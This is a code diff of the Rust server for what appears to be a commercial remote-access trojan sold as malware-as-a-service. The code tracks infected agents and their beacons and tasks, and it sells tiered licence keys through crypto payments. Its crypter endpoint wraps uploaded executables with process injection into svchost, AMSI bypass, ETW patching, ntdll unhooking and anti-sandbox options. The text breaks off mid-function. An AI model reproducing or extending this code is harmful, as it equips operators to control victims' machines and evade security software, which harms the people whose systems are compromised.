false + } + } + + /// Drain all pending tasks for an agent (called when agent beacons in). + pub fn drain_tasks(&self, agent_id: &str) -> Vec { + if let Some(mut entry) = self.agents.get_mut(agent_id) { + entry.task_queue.drain(..).collect() + } else { + Vec::new() + } + } + + /// Get the next sequence number for outbound messages to this agent. + pub fn next_sequence(&self, agent_id: &str) -> u64 { + if let Some(mut entry) = self.agents.get_mut(agent_id) { + entry.sequence_number += 1; + entry.sequence_number + } else { + 0 + } + } + + /// Get session key for a given agent. + pub fn get_session_key(&self, agent_id: &str) -> Option<[u8; 32]> { + self.agents.get(agent_id).map(|e| e.session_key) + } + + /// Build a flattened snapshot from an agent entry. + fn snapshot_from(e: &AgentState, pending: usize) -> AgentInfoSnapshot { + AgentInfoSnapshot { + id: e.agent_id.clone(), + hostname: e.checkin_data.hostname.clone(), + username: e.checkin_data.username.clone(), + os: e.checkin_data.os_version.clone(), + arch: e.checkin_data.arch.clone(), + pid: e.checkin_data.pid, + integrity: integrity_label(e.checkin_data.integrity_level).to_string(), + internal_ip: e.checkin_data.internal_ip.clone(), + external_ip: e.external_ip.clone(), + elevated: e.checkin_data.elevated, + status: e.status.clone(), + first_seen: e.first_seen, + last_seen: e.last_seen, + sleep_interval: e.checkin_data.sleep_interval, + jitter: e.checkin_data.jitter_percent, + listener_id: e.listener_id.clone(), + pending_tasks: pending, + owner: e.owner.clone(), + banned: e.banned, + av_product: e.checkin_data.av_product.clone(), + checkin_data: e.checkin_data.clone(), + } + } + + /// Ban an agent (set in-memory flag). + pub fn ban_agent(&self, agent_id: &str) -> bool { + if let Some(mut entry) = self.agents.get_mut(agent_id) { + entry.banned = true; + true + } else { + false + } + } + + /// Unban an agent (clear in-memory flag). + pub fn unban_agent(&self, agent_id: &str) -> bool { + if let Some(mut entry) = self.agents.get_mut(agent_id) { + entry.banned = false; + true + } else { + false + } + } + + /// Check if an agent is banned (in-memory check). + pub fn is_banned(&self, agent_id: &str) -> bool { + self.agents.get(agent_id).map(|e| e.banned).unwrap_or(false) + } + + /// Get a snapshot of agent info for the API. + pub fn get_agent_info(&self, agent_id: &str) -> Option { + self.agents.get(agent_id).map(|e| { + Self::snapshot_from(&e, e.task_queue.len()) + }) + } + + /// List all agents as snapshots. + pub fn list_agents(&self) -> Vec { + self.agents + .iter() + .map(|e| Self::snapshot_from(&e, e.task_queue.len())) + .collect() + } + + /// List agents scoped by operator ownership. + /// Admins see all agents. Operators only see agents they own. + pub fn list_agents_for_operator(&self, operator: &str, role: &str) -> Vec { + if role == "admin" { + return self.list_agents(); + } + self.agents + .iter() + .filter(|e| e.owner == operator) + .map(|e| Self::snapshot_from(&e, e.task_queue.len())) + .collect() + } + + /// Remove an agent from the in-memory registry. + pub fn remove_agent(&self, agent_id: &str) -> bool { + self.dirty_agents.remove(agent_id); + self.agents.remove(agent_id).is_some() + } + + /// Run the reaper: mark agents stale or dead based on their sleep interval. + /// Also evict agents that have been dead for longer than dead_mult * 2 * interval. + pub async fn reap(&self, stale_mult: u64, dead_mult: u64, event_bus: &EventBus) { + let now = Utc::now(); + let mut to_evict: Vec = Vec::new(); + + for mut entry in self.agents.iter_mut() { + let interval = entry.checkin_data.sleep_interval.max(1) as u64; + let elapsed = (now - entry.last_seen).num_seconds().max(0) as u64; + + let old_status = entry.status.clone(); + + if elapsed > interval * dead_mult { + entry.status = AgentStatus::Dead; + } else if elapsed > interval * stale_mult { + entry.status = AgentStatus::Stale; + } + + // Track dead_since timestamp + if entry.status == AgentStatus::Dead && entry.dead_since.is_none() { + entry.dead_since = Some(now); + } + if entry.status != AgentStatus::Dead { + entry.dead_since = None; + } + + // Check if this dead agent should be evicted + if let Some(dead_since) = entry.dead_since { + let dead_elapsed = (now - dead_since).num_seconds().max(0) as u64; + let evict_threshold = dead_mult * 2 * interval; + if dead_elapsed > evict_threshold { + to_evict.push(entry.agent_id.clone()); + } + } + + // Emit events on status transitions + if entry.status != old_status { + match entry.status { + AgentStatus::Stale => { + event_bus.emit(crate::events::Event::new( + "agent_stale", + &entry.agent_id, + "", + &format!("Agent {} marked stale", entry.agent_id), + "warning", + )); + } + AgentStatus::Dead => { + event_bus.emit(crate::events::Event::new( + "agent_dead", + &entry.agent_id, + "", + &format!("Agent {} marked dead", entry.agent_id), + "warning", + )); + } + _ => {} + } + } + } + + // Evict agents that have been dead long enough + for agent_id in to_evict { + self.agents.remove(&agent_id); + info!(agent_id = %agent_id, "Evicted dead agent from registry"); + } + } +} + +/// Serializable snapshot of agent info for API responses. +/// Flattened to match the web dashboard's expected format. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct AgentInfoSnapshot { + pub id: String, + pub hostname: String, + pub username: String, + pub os: String, + pub arch: String, + pub pid: u32, + pub integrity: String, + pub internal_ip: String, + pub external_ip: String, + pub elevated: bool, + pub status: AgentStatus, + pub first_seen: DateTime, + pub last_seen: DateTime, + pub sleep_interval: u32, + pub jitter: u32, + pub listener_id: String, + pub pending_tasks: usize, + pub owner: String, + pub banned: bool, + pub av_product: String, + // Keep full checkin data for internal use + #[serde(skip)] + pub checkin_data: CheckIn, +} + +fn integrity_label(level: u32) -> &'static str { + match level { + 0 => "Untrusted", + 1 => "Low", + 2 => "Medium", + 3 => "High", + 4 => "System", + _ => "Unknown", + } +} diff --git a/src/api/admin.rs b/src/api/admin.rs new file mode 100755 index 0000000..d636b74 --- /dev/null +++ b/src/api/admin.rs @@ -0,0 +1,434 @@ +use axum::{ + extract::{FromRequest, Path, State}, + http::StatusCode, + response::IntoResponse, + Json, +}; +use serde::{Deserialize, Serialize}; +use std::sync::Arc; +use tracing::{error, info}; + +use crate::db::queries; +use crate::state::AppState; +use crate::api::auth; + +// ============================================================================ +// Request / Response DTOs +// ============================================================================ + +#[derive(Debug, Deserialize)] +pub struct GenerateKeyRequest { + pub duration: String, + #[serde(default)] + pub max_agents: i64, + /// License tier: "rat" or "rat_crypter". Defaults to "rat". + pub tier: Option, +} + +#[derive(Debug, Serialize)] +pub struct GenerateKeyResponse { + pub key: String, + pub key_id: String, + pub expires_at: i64, +} + +#[derive(Debug, Serialize)] +pub struct AdminOperator { + pub id: i64, + pub username: String, + pub role: String, + pub created_at: String, + pub license_status: Option, + pub license_expires_at: Option, + pub tier: String, +} + +// ============================================================================ +// POST /api/admin/keys — Generate a new license key +// ============================================================================ + +pub async fn generate_key( + State(state): State>, + req: axum::extract::Request, +) -> impl IntoResponse { + let operator = req + .extensions() + .get::() + .map(|c| c.sub.clone()) + .unwrap_or_else(|| "admin".to_string()); + + let body: GenerateKeyRequest = match axum::Json::from_request(req, &state).await { + Ok(axum::Json(b)) => b, + Err(e) => { + return ( + StatusCode::BAD_REQUEST, + Json(serde_json::json!({ "error": format!("invalid request: {}", e) })), + ) + .into_response(); + } + }; + + let duration_secs = match crate::license::parse_duration(&body.duration) { + Ok(d) => d, + Err(e) => { + return ( + StatusCode::BAD_REQUEST, + Json(serde_json::json!({ "error": format!("invalid duration: {}", e) })), + ) + .into_response(); + } + }; + + let key = crate::license::generate_license_key(&state.config.license_secret, duration_secs); + + // Parse back to get the key_id and timestamps + let key_data = match crate::license::parse_license_key(&key, &state.config.license_secret) { + Ok(kd) => kd, + Err(e) => { + error!("Failed to parse just-generated key: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({ "error": "key generation failed" })), + ) + .into_response(); + } + }; + + // Pre-insert the key record in the database + if let Err(e) = queries::insert_license_key_record( + &state.db, + &key_data.key_id, + key_data.created_at, + key_data.expires_at, + body.max_agents, + &operator, + ) + .await + { + error!("Failed to pre-insert license key: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({ "error": "failed to store key record" })), + ) + .into_response(); + } + + // Set tier on the license key + let tier = match body.tier.as_deref() { + Some("rat_crypter") => "rat_crypter", + _ => "rat", + }; + let _ = queries::set_license_key_tier(&state.db, &key_data.key_id, tier).await; + + // Audit log + let _ = queries::insert_license_audit( + &state.db, + "key_generated", + Some(&key_data.key_id), + Some(&operator), + None, + &format!("duration={}, max_agents={}, tier={}", body.duration, body.max_agents, tier), + ) + .await; + + info!(key_id = %key_data.key_id, generated_by = %operator, "License key generated via admin panel"); + + Json(GenerateKeyResponse { + key, + key_id: key_data.key_id, + expires_at: key_data.expires_at, + }) + .into_response() +} + +// ============================================================================ +// GET /api/admin/keys — List all license keys +// ============================================================================ + +pub async fn list_keys( + State(state): State>, +) -> impl IntoResponse { + match queries::get_all_license_keys(&state.db).await { + Ok(keys) => Json(keys).into_response(), + Err(e) => { + error!("Failed to fetch license keys: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({ "error": "database error" })), + ) + .into_response() + } + } +} + +// ============================================================================ +// POST /api/admin/keys/:id/revoke — Revoke a license key +// ============================================================================ + +pub async fn revoke_key( + State(state): State>, + Path(key_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let operator = req + .extensions() + .get::() + .map(|c| c.sub.clone()) + .unwrap_or_else(|| "admin".to_string()); + + match queries::revoke_license_key(&state.db, &key_id, &operator).await { + Ok(true) => { + let _ = queries::insert_license_audit( + &state.db, + "key_revoked", + Some(&key_id), + Some(&operator), + None, + "", + ) + .await; + + info!(key_id = %key_id, revoked_by = %operator, "License key revoked"); + Json(serde_json::json!({ "status": "revoked" })).into_response() + } + Ok(false) => ( + StatusCode::NOT_FOUND, + Json(serde_json::json!({ "error": "key not found or already revoked" })), + ) + .into_response(), + Err(e) => { + error!("Failed to revoke key: {}", e); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({ "error": "database error" })), + ) + .into_response() + } + } +} + +// ============================================================================ +// POST /api/admin/operators/:id/extend — Extend an operator's license +// ============================================================================ + +#[derive(Debug, Deserialize)] +pub struct ExtendLicenseRequest { + /// Duration string like "7d", "30d", "365d", "lifetime" + pub duration: String, +} + +pub async fn extend_operator_license( + State(state): State>, + Path(operator_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let admin = req + .extensions() + .get::() + .map(|c| c.sub.clone()) + .unwrap_or_else(|| "admin".to_string()); + + let body: ExtendLicenseRequest = match axum::Json::from_request(req, &state).await { + Ok(axum::Json(b)) => b, + Err(e) => { + return ( + StatusCode::BAD_REQUEST, + Json(serde_json::json!({ "error": format!("invalid request: {}", e) })), + ) + .into_response(); + } + }; + + // Resolve operator username from ID + let operators = match queries::get_all_operators(&state.db).await { + Ok(ops) => ops, + Err(e) => { + error!("Failed to fetch operators: {}", e); + return (StatusCode::INTERNAL_SERVER_ERROR, Json(serde_json::json!({ "error": "database error" }))).into_response(); + } + }; + + let target_op = match operators.iter().find(|o| o.id == operator_id) { + Some(op) => op.clone(), + None => { + return (StatusCode::NOT_FOUND, Json(serde_json::json!({ "error": "operator not found" }))).into_response(); + } + }; + + let add_seconds = match crate::license::parse_duration(&body.duration) { + Ok(d) => d, + Err(e) => { + return ( + StatusCode::BAD_REQUEST, + Json(serde_json::json!({ "error": format!("invalid duration: {}", e) })), + ) + .into_response(); + } + }; + + match queries::extend_operator_license(&state.db, &target_op.username, add_seconds).await { + Ok(true) => { + let _ = queries::insert_license_audit( + &state.db, + "license_extended", + None, + Some(&target_op.username), + None, + &format!("duration={}, by={}", body.duration, admin), + ) + .await; + + info!( + operator = %target_op.username, + duration = %body.duration, + extended_by = %admin, + "Operator license extended" + ); + Json(serde_json::json!({ "status": "extended" })).into_response() + } + Ok(false) => ( + StatusCode::NOT_FOUND, + Json(serde_json::json!({ "error": "no active license found for this operator" })), + ) + .into_response(), + Err(e) => { + error!("Failed to extend license: {}", e); + (StatusCode::INTERNAL_SERVER_ERROR, Json(serde_json::json!({ "error": "database error" }))).into_response() + } + } +} + +// ============================================================================ +// POST /api/admin/operators/:id/tier — Change an operator's license tier +// ============================================================================ + +#[derive(Debug, Deserialize)] +pub struct SetTierRequest { + pub tier: String, +} + +pub async fn set_operator_tier( + State(state): State>, + Path(operator_id): Path, + req: axum::extract::Request, +) -> impl IntoResponse { + let admin = req + .extensions() + .get::() + .map(|c| c.sub.clone()) + .unwrap_or_else(|| "admin".to_string()); + + let body: SetTierRequest = match axum::Json::from_request(req, &state).await { + Ok(axum::Json(b)) => b, + Err(e) => { + return ( + StatusCode::BAD_REQUEST, + Json(serde_json::json!({ "error": format!("invalid request: {}", e) })), + ) + .into_response(); + } + }; + + // Validate tier + let tier = match body.tier.as_str() { + "rat" | "rat_crypter" => body.tier.as_str(), + _ => { + return ( + StatusCode::BAD_REQUEST, + Json(serde_json::json!({ "error": "invalid tier: must be 'rat' or 'rat_crypter'" })), + ) + .into_response(); + } + }; + + // Resolve operator + let operators = match queries::get_all_operators(&state.db).await { + Ok(ops) => ops, + Err(e) => { + error!("Failed to fetch operators: {}", e); + return (StatusCode::INTERNAL_SERVER_ERROR, Json(serde_json::json!({ "error": "database error" }))).into_response(); + } + }; + + let target_op = match operators.iter().find(|o| o.id == operator_id) { + Some(op) => op.clone(), + None => { + return (StatusCode::NOT_FOUND, Json(serde_json::json!({ "error": "operator not found" }))).into_response(); + } + }; + + match queries::set_operator_license_tier(&state.db, &target_op.username, tier).await { + Ok(_) => { + let _ = queries::insert_license_audit( + &state.db, + "tier_changed", + None, + Some(&target_op.username), + None, + &format!("tier={}, by={}", tier, admin), + ) + .await; + + info!( + operator = %target_op.username, + tier = %tier, + changed_by = %admin, + "Operator tier changed" + ); + Json(serde_json::json!({ "status": "updated", "tier": tier })).into_response() + } + Err(e) => { + error!("Failed to set tier: {}", e); + (StatusCode::INTERNAL_SERVER_ERROR, Json(serde_json::json!({ "error": "database error" }))).into_response() + } + } +} + +// ============================================================================ +// GET /api/admin/operators — List all operators with license info +// ============================================================================ + +pub async fn list_operators( + State(state): State>, +) -> impl IntoResponse { + let operators = match queries::get_all_operators(&state.db).await { + Ok(ops) => ops, + Err(e) => { + error!("Failed to fetch operators: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({ "error": "database error" })), + ) + .into_response(); + } + }; + + let mut result = Vec::with_capacity(operators.len()); + for op in operators { + let (license_status, license_expires_at) = + match queries::get_operator_license_expiry(&state.db, &op.username).await { + Ok(Some(expires)) => { + let now = chrono::Utc::now().timestamp(); + let status = if expires > now { "active" } else { "expired" }; + (Some(status.to_string()), Some(expires)) + } + _ => (None, None), + }; + + let tier = queries::get_operator_tier(&state.db, &op.username) + .await + .unwrap_or_else(|_| "rat".to_string()); + + result.push(AdminOperator { + id: op.id, + username: op.username, + role: op.role, + created_at: op.created_at, + license_status, + license_expires_at, + tier, + }); + } + + Json(result).into_response() +} diff --git a/src/api/auth.rs b/src/api/auth.rs new file mode 100755 index 0000000..15629b3 --- /dev/null +++ b/src/api/auth.rs @@ -0,0 +1,252 @@ +use axum::{ + extract::Request, + http::{header, StatusCode}, + middleware::Next, + response::Response, +}; +use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine}; +use hmac::{Hmac, Mac}; +use serde::{Deserialize, Serialize}; +use sha2::Sha256; +use std::collections::HashSet; +use std::sync::RwLock; + +type HmacSha256 = Hmac; + +// ── Token Revocation Blocklist ────────────────────────────────────── + +/// In-memory set of revoked JWT tokens. Tokens naturally expire via their +/// `exp` claim, so this only needs to persist for the server's lifetime. +/// +/// NOTE: For full persistence across server restarts, revoked tokens should +/// be stored in the database. Currently, a server restart clears the +/// revocation list — but expired tokens are rejected by `validate_token()` +/// regardless, so only tokens that haven't yet reached their `exp` could +/// be reused after a restart within the remaining validity window. +static REVOKED_TOKENS: std::sync::OnceLock>> = std::sync::OnceLock::new(); + +/// Counter for periodic cleanup of expired tokens from the revocation set. +static REVOKE_COUNTER: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0); + +fn get_revoked_tokens() -> &'static RwLock> { + REVOKED_TOKENS.get_or_init(|| RwLock::new(HashSet::new())) +} + +/// Check if a token has been revoked (e.g. via logout). +pub fn is_token_revoked(token: &str) -> bool { + get_revoked_tokens() + .read() + .map(|set| set.contains(token)) + .unwrap_or(false) +} + +/// Remove expired tokens from the revocation set to prevent unbounded growth. +/// Tokens whose `exp` claim has passed are no longer valid anyway (rejected by +/// `validate_token`), so keeping them in the set is unnecessary. +fn cleanup_expired_tokens() { + let now = chrono::Utc::now().timestamp(); + if let Ok(mut set) = get_revoked_tokens().write() { + set.retain(|token| { + // Try to decode the payload (middle part) to read the exp claim. + // If we can't decode it, keep it in the set (fail-safe). + let parts: Vec<&str> = token.splitn(3, '.').collect(); + if parts.len() != 3 { + return true; // malformed — keep it revoked + } + match URL_SAFE_NO_PAD.decode(parts[1]) { + Ok(bytes) => { + match serde_json::from_slice::(&bytes) { + Ok(claims) => claims.exp > now, // keep only non-expired + Err(_) => true, // can't parse — keep it + } + } + Err(_) => true, // can't decode — keep it + } + }); + } +} + +/// Revoke a token (add to blocklist). Called on logout. +/// Periodically cleans up expired tokens (every 100 revocations) to bound +/// memory growth. +pub fn revoke_token(token: &str) { + if let Ok(mut set) = get_revoked_tokens().write() { + set.insert(token.to_string()); + } + + // Every 100th revocation, clean up expired tokens. + let count = REVOKE_COUNTER.fetch_add(1, std::sync::atomic::Ordering::Relaxed); + if count % 100 == 0 { + cleanup_expired_tokens(); + } +} + +/// JWT claims for operator authentication. +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct Claims { + /// Operator username. + pub sub: String, + /// Expiration time (Unix timestamp). + pub exp: i64, + /// Issued at (Unix timestamp). + pub iat: i64, + /// Operator role (e.g. "admin", "operator"). + #[serde(default = "default_role")] + pub role: String, +} + +fn default_role() -> String { + "operator".to_string() +} + +fn b64_encode(data: &[u8]) -> String { + URL_SAFE_NO_PAD.encode(data) +} + +fn b64_decode(s: &str) -> Result, String> { + URL_SAFE_NO_PAD.decode(s).map_err(|e| e.to_string()) +} + +/// Create a signed JWT (HS256) for an authenticated operator. +pub fn create_token( + username: &str, + secret: &str, + lifetime_secs: i64, + role: &str, +) -> Result { + let now = chrono::Utc::now().timestamp(); + let claims = Claims { + sub: username.to_string(), + exp: now + lifetime_secs, + iat: now, + role: role.to_string(), + }; + + let header = b64_encode(b"{\"alg\":\"HS256\",\"typ\":\"JWT\"}"); + let payload = b64_encode( + &serde_json::to_vec(&claims).map_err(|e| e.to_string())?, + ); + let signing_input = format!("{}.{}", header, payload); + + let mut mac = HmacSha256::new_from_slice(secret.as_bytes()) + .map_err(|e| e.to_string())?; + mac.update(signing_input.as_bytes()); + let signature = b64_encode(&mac.finalize().into_bytes()); + + Ok(format!("{}.{}", signing_input, signature)) +} + +/// Validate a JWT (HS256) and return the claims. +pub fn validate_token( + token: &str, + secret: &str, +) -> Result { + let parts: Vec<&str> = token.splitn(3, '.').collect(); + if parts.len() != 3 { + return Err("invalid token format".into()); + } + + // Verify signature + let signing_input = format!("{}.{}", parts[0], parts[1]); + let mut mac = HmacSha256::new_from_slice(secret.as_bytes()) + .map_err(|e| e.to_string())?; + mac.update(signing_input.as_bytes()); + let sig_bytes = b64_decode(parts[2])?; + mac.verify_slice(&sig_bytes).map_err(|_| "invalid signature".to_string())?; + + // Decode claims + let claims_bytes = b64_decode(parts[1])?; + let claims: Claims = + serde_json::from_slice(&claims_bytes).map_err(|e| e.to_string())?; + + // Check expiration + let now = chrono::Utc::now().timestamp(); + if claims.exp < now { + return Err("token expired".into()); + } + + Ok(claims) +} + +/// Axum middleware that checks for a valid Bearer token in the Authorization header. +pub async fn auth_middleware( + mut request: Request, + next: Next, +) -> Result { + // Extract the JWT secret from the app state extension. + let jwt_secret = request + .extensions() + .get::() + .map(|s| s.0.clone()) + .ok_or(StatusCode::INTERNAL_SERVER_ERROR)?; + + // Extract Bearer token from Authorization header. + let token = request + .headers() + .get(header::AUTHORIZATION) + .and_then(|v| v.to_str().ok()) + .and_then(|v| v.strip_prefix("Bearer ")) + .map(|t| t.to_string()) + .ok_or(StatusCode::UNAUTHORIZED)?; + + // Validate JWT algorithm header (#13: prevent algorithm confusion) + let header_b64 = token.split('.').next().unwrap_or(""); + if let Ok(header_bytes) = URL_SAFE_NO_PAD.decode(header_b64) { + if let Ok(header_str) = std::str::from_utf8(&header_bytes) { + if !header_str.contains("\"HS256\"") { + return Err(StatusCode::UNAUTHORIZED); + } + } + } + + let claims = validate_token(&token, &jwt_secret).map_err(|_| StatusCode::UNAUTHORIZED)?; + + // Check JWT against revocation list + if is_token_revoked(&token) { + return Err(StatusCode::UNAUTHORIZED); + } + + // License expiry check: fail closed if DbPool is missing (#11) + // Admins (bootstrap operator) skip license check — they have no key. + if claims.role != "admin" { + let db_pool = request.extensions().get::().cloned() + .ok_or(StatusCode::INTERNAL_SERVER_ERROR)?; + let now = chrono::Utc::now().timestamp(); + match crate::db::queries::get_operator_license_expiry(&db_pool.0, &claims.sub).await { + Ok(Some(expires_at)) if expires_at > now => { /* valid */ } + Ok(Some(_)) => return Err(StatusCode::UNAUTHORIZED), // expired + Ok(None) => return Err(StatusCode::UNAUTHORIZED), // no license + Err(_) => return Err(StatusCode::INTERNAL_SERVER_ERROR), + } + } + + request.extensions_mut().insert(claims); + + Ok(next.run(request).await) +} + +/// Wrapper to inject JWT secret into request extensions. +#[derive(Clone)] +pub struct JwtSecret(pub String); + +/// Wrapper to inject DB pool into request extensions for license checks. +#[derive(Clone)] +pub struct DbPool(pub sqlx::PgPool); + +/// Middleware that checks the operator has the "admin" role. +/// Must be layered after auth_middleware so that Claims are in extensions. +pub async fn admin_middleware( + request: Request, + next: Next, +) -> Result { + let claims = request + .extensions() + .get::() + .ok_or(StatusCode::UNAUTHORIZED)?; + + if claims.role != "admin" { + return Err(StatusCode::FORBIDDEN); + } + + Ok(next.run(request).await) +} diff --git a/src/api/crypter.rs b/src/api/crypter.rs new file mode 100755 index 0000000..db7797e --- /dev/null +++ b/src/api/crypter.rs @@ -0,0 +1,200 @@ +use axum::{ + extract::{Multipart, State}, + http::{header, StatusCode}, + response::IntoResponse, + Extension, Json, +}; +use std::sync::Arc; +use tracing::{error, info}; + +use crate::api::auth; +use crate::crypter::{CryptMode, CryptRequest, EvasionOptions}; +use crate::db::queries; +use crate::state::AppState; + +/// Max upload size for crypter: 50 MB. +const MAX_UPLOAD_SIZE: usize = 50 * 1024 * 1024; + +// ============================================================================ +// POST /api/crypter/crypt — Crypt a PE file (requires rat_crypter tier) +// ============================================================================ + +pub async fn crypt_file( + State(state): State>, + Extension(claims): Extension, + mut multipart: Multipart, +) -> impl IntoResponse { + // Tier gate: check operator tier + let tier = match queries::get_operator_tier(&state.db, &claims.sub).await { + Ok(t) => t, + Err(e) => { + error!("Failed to fetch operator tier: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({"error": "internal error"})), + ).into_response(); + } + }; + + // Admins can always use crypter + if tier != "rat_crypter" && claims.role != "admin" { + return ( + StatusCode::FORBIDDEN, + Json(serde_json::json!({"error": "Crypter requires WebRAT + Crypter license"})), + ).into_response(); + } + + // Parse multipart form fields + let mut file_data: Option> = None; + let mut mode = "runpe".to_string(); + let mut target_process = "C:\\Windows\\System32\\svchost.exe".to_string(); + let mut sleep_seconds: u32 = 0; + let mut anti_sandbox = false; + let mut anti_debug = false; + let mut unhook_ntdll = false; + let mut amsi_bypass = false; + let mut etw_patch = false; + + while let Ok(Some(field)) = multipart.next_field().await { + let name = field.name().unwrap_or("").to_string(); + match name.as_str() { + "file" => { + let bytes = field.bytes().await.unwrap_or_default(); + if bytes.len() > MAX_UPLOAD_SIZE { + return ( + StatusCode::PAYLOAD_TOO_LARGE, + Json(serde_json::json!({"error": "file too large (max 50MB)"})), + ).into_response(); + } + file_data = Some(bytes.to_vec()); + } + "mode" => { + if let Ok(text) = field.text().await { + mode = text; + } + } + "target_process" => { + if let Ok(text) = field.text().await { + if !text.is_empty() { + target_process = text; + } + } + } + "sleep_seconds" => { + if let Ok(text) = field.text().await { + sleep_seconds = text.parse().unwrap_or(0); + } + } + "anti_sandbox" => { + if let Ok(text) = field.text().await { + anti_sandbox = text == "true" || text == "1"; + } + } + "anti_debug" => { + if let Ok(text) = field.text().await { + anti_debug = text == "true" || text == "1"; + } + } + "unhook_ntdll" => { + if let Ok(text) = field.text().await { + unhook_ntdll = text == "true" || text == "1"; + } + } + "amsi_bypass" => { + if let Ok(text) = field.text().await { + amsi_bypass = text == "true" || text == "1"; + } + } + "etw_patch" => { + if let Ok(text) = field.text().await { + etw_patch = text == "true" || text == "1"; + } + } + _ => {} + } + } + + let payload = match file_data { + Some(d) if !d.is_empty() => d, + _ => { + return ( + StatusCode::BAD_REQUEST, + Json(serde_json::json!({"error": "no file uploaded"})), + ).into_response(); + } + }; + + let crypt_mode = match mode.as_str() { + "shellcode" => CryptMode::Shellcode, + _ => CryptMode::RunPE, + }; + + let delayed_exec = sleep_seconds > 0; + + let crypt_req = CryptRequest { + payload, + mode: crypt_mode, + evasion: EvasionOptions { + anti_sandbox, + anti_debug, + unhook_ntdll, + amsi_bypass, + etw_patch, + delayed_exec, + }, + target_process, + sleep_seconds, + }; + + info!( + operator = %claims.sub, + mode = %mode, + payload_size = crypt_req.payload.len(), + "Crypter request" + ); + + // Acquire build semaphore (shared with payload builder) + let _permit = state.build_semaphore.acquire().await.map_err(|_| { + ( + StatusCode::SERVICE_UNAVAILABLE, + Json(serde_json::json!({"error": "build system busy"})), + ) + }); + + let stubs_dir = state.config.agent_source_dir.join("crypter_stubs"); + let output_dir = state.config.payloads_dir.clone(); + + match crate::crypter::crypt( + &crypt_req, + &stubs_dir, + &state.config.gcc_path, + &output_dir, + ) + .await + { + Ok(exe_bytes) => { + info!( + operator = %claims.sub, + size = exe_bytes.len(), + "Crypter build succeeded" + ); + + ( + StatusCode::OK, + [ + (header::CONTENT_TYPE, "application/octet-stream"), + (header::CONTENT_DISPOSITION, "attachment; filename=\"crypted.exe\""), + (header::CACHE_CONTROL, "no-store"), + ], + exe_bytes, + ).into_response() + } + Err(e) => { + error!(operator = %claims.sub, error = %e, "Crypter build failed"); + ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({"error": "Crypter build failed. Check server logs for details."})), + ).into_response() + } + } +} diff --git a/src/api/mod.rs b/src/api/mod.rs new file mode 100755 index 0000000..4609581 --- /dev/null +++ b/src/api/mod.rs @@ -0,0 +1,8 @@ +pub mod admin; +pub mod auth; +pub mod crypter; +pub mod payments; +pub mod routes; +pub mod socks5; +pub mod vnc; +pub mod ws; diff --git a/src/api/payments.rs b/src/api/payments.rs new file mode 100755 index 0000000..4609a2a --- /dev/null +++ b/src/api/payments.rs @@ -0,0 +1,367 @@ +use axum::{ + extract::{ConnectInfo, Path, State}, + http::StatusCode, + response::IntoResponse, + Json, +}; +use serde::{Deserialize, Serialize}; +use std::net::SocketAddr; +use std::sync::Arc; +use tracing::{error, info, warn}; + +use crate::db::queries; +use crate::license; +use crate::payments; +use crate::state::AppState; + +// ── DTOs ───────────────────────────────────────────────────────────── + +#[derive(Deserialize)] +pub struct CreatePaymentRequest { + /// Optional email for delivery (not used yet, but recorded). + email: Option, + /// License tier: "rat" ($50) or "rat_crypter" ($100). + tier: Option, +} + +#[derive(Serialize)] +struct CreatePaymentResponse { + payment_id: String, + invoice_url: String, +} + +#[derive(Serialize)] +struct PaymentStatusResponse { + payment_id: String, + status: String, + license_key: Option, + amount: f64, + currency: String, + tier: String, +} + +// ── Constants ──────────────────────────────────────────────────────── + +const PRICE_CURRENCY: &str = "usd"; + +// ============================================================================ +// POST /api/payments/create — Create a new payment invoice (public) +// ============================================================================ + +pub async fn create_payment( + State(state): State>, + ConnectInfo(addr): ConnectInfo, + Json(body): Json, +) -> impl IntoResponse { + let api_key = match &state.config.nowpay_api_key { + Some(k) => k.clone(), + None => { + return ( + StatusCode::SERVICE_UNAVAILABLE, + Json(serde_json::json!({"error": "payments not configured"})), + ) + .into_response(); + } + }; + + // Resolve tier and price + let tier = match body.tier.as_deref() { + Some("rat_crypter") => "rat_crypter", + _ => "rat", + }; + let (price_amount, order_description) = match tier { + "rat_crypter" => (100.0, "Zerin Lifetime License + Crypter"), + _ => (50.0, "Zerin Lifetime License"), + }; + + // Generate a unique order/payment ID + let payment_id = uuid::Uuid::new_v4().to_string(); + + // Build callback URLs — use ZERIN_WEB_URL if set, else fall back to listener_host + let base_url = if let Some(ref url) = state.config.web_url { + url.trim_end_matches('/').to_string() + } else { + let host = &state.config.listener_host; + if host == "127.0.0.1" || host == "localhost" { + format!("http://{}:{}", host, state.config.api_bind.rsplit_once(':').map(|(_, p)| p).unwrap_or("8080")) + } else { + format!("https://{}", host) + } + }; + + let ipn_callback_url = format!("{}/api/payments/webhook", base_url); + let success_url = format!("{}/payment/{}", base_url, payment_id); + let cancel_url = format!("{}/", base_url); + + // Create NOWPayments invoice + let (invoice_id, invoice_url) = match payments::create_invoice( + &api_key, + price_amount, + PRICE_CURRENCY, + &payment_id, + order_description, + &ipn_callback_url, + &success_url, + &cancel_url, + ) + .await + { + Ok(v) => v, + Err(e) => { + error!("Failed to create NOWPayments invoice: {}", e); + return ( + StatusCode::BAD_GATEWAY, + Json(serde_json::json!({"error": "failed to create payment invoice"})), + ) + .into_response(); + } + }; + + // Store payment in DB + if let Err(e) = payments::insert_payment( + &state.db, + &payment_id, + &invoice_id, + price_amount, + PRICE_CURRENCY, + &addr.ip().to_string(), + tier, + ) + .await + { + error!("Failed to insert payment record: {}", e); + return ( + StatusCode::INTERNAL_SERVER_ERROR, + Json(serde_json::json!({"error": "failed to record payment"})), + ) + .into_response(); + } + + info!( + payment_id = %payment_id, + invoice_id = %invoice_id, + ip = %addr.ip(), + email = body.email.as_deref().unwrap_or("-"), + "Payment invoice created" + ); + + Json(CreatePaymentResponse { + payment_id, + 